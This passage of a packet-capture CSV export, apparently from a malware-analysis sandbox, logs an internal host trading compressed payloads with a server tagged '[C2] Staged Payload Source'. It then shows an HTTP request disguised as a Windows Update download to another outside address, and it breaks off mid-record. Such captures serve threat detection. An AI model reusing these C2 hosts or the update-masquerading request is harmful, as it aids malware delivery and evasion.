\"\"proto\"\": 6, \"\"chksum\"\": 16487, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682506, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38679, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:02.371878,4,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1411682506 Ack=3104847480,bc24112907bbbc2411360d0c0800450000cbaf99400080063fc30a98980bc0a3a789fa201f40542490cab9103678501820145ea800009f00c0ff9f00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e28b01f915b6df6a76bb5e576c5be4715ce27127c5e603004b4cacdb,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w................jv.^Wl[.q\\.q'....KL..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 203, \"\"id\"\": 44953, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16323, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682506, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 24232, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9f00c0ff9f00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e28b01f915b6df6a76bb5e576c5be4715ce27127c5e603004b4cacdb\"\"}}]\"\n2026-07-01 09:05:02.371896,5,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682669,bc2411360d0cbc24112907bb080045000028e222400040064dddc0a3a7890a98980b1f40fa20b91036785424916d5010003f0aeb0000,\".$.6\n..$.)....E..(.\"\"@.@.M.....\n....@. ..6xT$.mP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57890, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19933, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682669, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:03.385395,6,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682668 Ack=3104847480,bc24112907bbbc2411360d0c080045000029af9a4000800640640a98980bc0a3a789fa201f405424916cb9103678501020149674000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44954, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16484, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682668, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:03.385417,7,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682669,bc2411360d0cbc24112907bb080045000034e223400040064dd0c0a3a7890a98980b1f40fa20b91036785424916d8010003f0af700000101050a5424916c5424916d,\".$.6\n..$.)....E..4.#@.@.M.....\n....@. ..6xT$.m...?\n......\nT$.lT$.m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57891, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19920, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682669, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682668, 1411682669))]\"\"}}]\"\n2026-07-01 09:05:04.400929,8,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682668 Ack=3104847480,bc24112907bbbc2411360d0c080045000029af9b4000800640630a98980bc0a3a789fa201f405424916cb9103678501020149674000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44955, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16483, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682668, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:04.400939,9,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682669,bc2411360d0cbc24112907bb080045000034e224400040064dcfc0a3a7890a98980b1f40fa20b91036785424916d8010003f0af700000101050a5424916c5424916d,\".$.6\n..$.)....E..4.$@.@.M.....\n....@. ..6xT$.m...?\n......\nT$.lT$.m\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57892, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19919, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682669, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682668, 1411682669))]\"\"}}]\"\n2026-07-01 09:05:05.370537,10,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1411682669 Ack=3104847480,bc24112907bbbc2411360d0c080045000060af9c40008006402b0a98980bc0a3a789fa201f405424916db910367850182014dc2e00003400c0ff3400000005010000789c8bfc64bfa26e2297f1a6f2094237953607f72ff23d2ef9383b6e92d5c79a1daed71447041f00beae84e2,\"4...4.......x...d..n\"\"....\tB7.6../.=..8;n........G.......\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 96, \"\"id\"\": 44956, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16427, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682669, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56366, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"3400c0ff3400000005010000789c8bfc64bfa26e2297f1a6f2094237953607f72ff23d2ef9383b6e92d5c79a1daed71447041f00beae84e2\"\"}}]\"\n2026-07-01 09:05:05.370569,11,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000028e225400040064ddac0a3a7890a98980b1f40fa20b9103678542491a55010003f0aeb0000,\".$.6\n..$.)....E..(.%@.@.M.....\n....@. ..6xT$..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57893, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19930, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:06.385376,12,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029af9d4000800640610a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44957, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16481, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:06.385385,13,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e226400040064dcdc0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.&@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57894, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19917, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:07.341825,14,TCP 10.152.152.11:64035 -> 194.36.32.207:80,10.152.152.11,194.36.32.207,64035,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=2283203037 Ack=0,bc24112907bbbc2411360d0c08004500003428f5400080064c380a98980bc22420cffa2300508816e9dd000000008002faf082200000020405b40103030801010402,\".$.)...$.6\n...E..4(.@...L8\n....$ ..#.P............. ..............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10485, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19512, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.207\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 80, \"\"seq\"\": 2283203037, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 33312, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:05:07.341860,15,TCP 194.36.32.207:80 -> 10.152.152.11:64035,194.36.32.207,10.152.152.11,80,64035,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=4151454128 Ack=2283203038,bc2411360d0cbc24112907bb080045000034000040004006b52dc22420cf0a98980b0050fa23f77229b08816e9de8012faf085bd0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@..-.$ .\n....P.#.r)........................\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 46381, \"\"src\"\": \"\"194.36.32.207\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64035, \"\"seq\"\": 4151454128, \"\"ack\"\": 2283203038, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 34237, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:05:07.342160,16,TCP 10.152.152.11:64035 -> 194.36.32.207:80,10.152.152.11,194.36.32.207,64035,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2283203038 Ack=4151454129,bc24112907bbbc2411360d0c08004500002828f6400080064c430a98980bc22420cffa2300508816e9def77229b15010040298ae0000,\".$.)...$.6\n...E..((.@...LC\n....$ ..#.P.....r).P.......\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10486, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19523, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.207\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 80, \"\"seq\"\": 2283203038, \"\"ack\"\": 4151454129, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 39086, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:07.342207,17,TCP 10.152.152.11:64035 -> 194.36.32.207:80,10.152.152.11,194.36.32.207,64035,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,PA,,http://194.36.32.207/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001bd28f7400080064aad0a98980bc22420cffa2300508816e9def77229b15018040253390000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a203139342e33362e33322e3230370d0a0d0a,\".$.)...$.6\n...E...(.@...J.\n....$ ..#.P.....r).P...S9..GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 194.36.32.207\n\n\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 445, \"\"id\"\": 10487, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 19117, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.207\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64035, \"\"dport\"\": 80, \"\"seq\"\": 2283203038, \"\"ack\"\": 4151454129, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 21305, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"194.36.32.207\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, 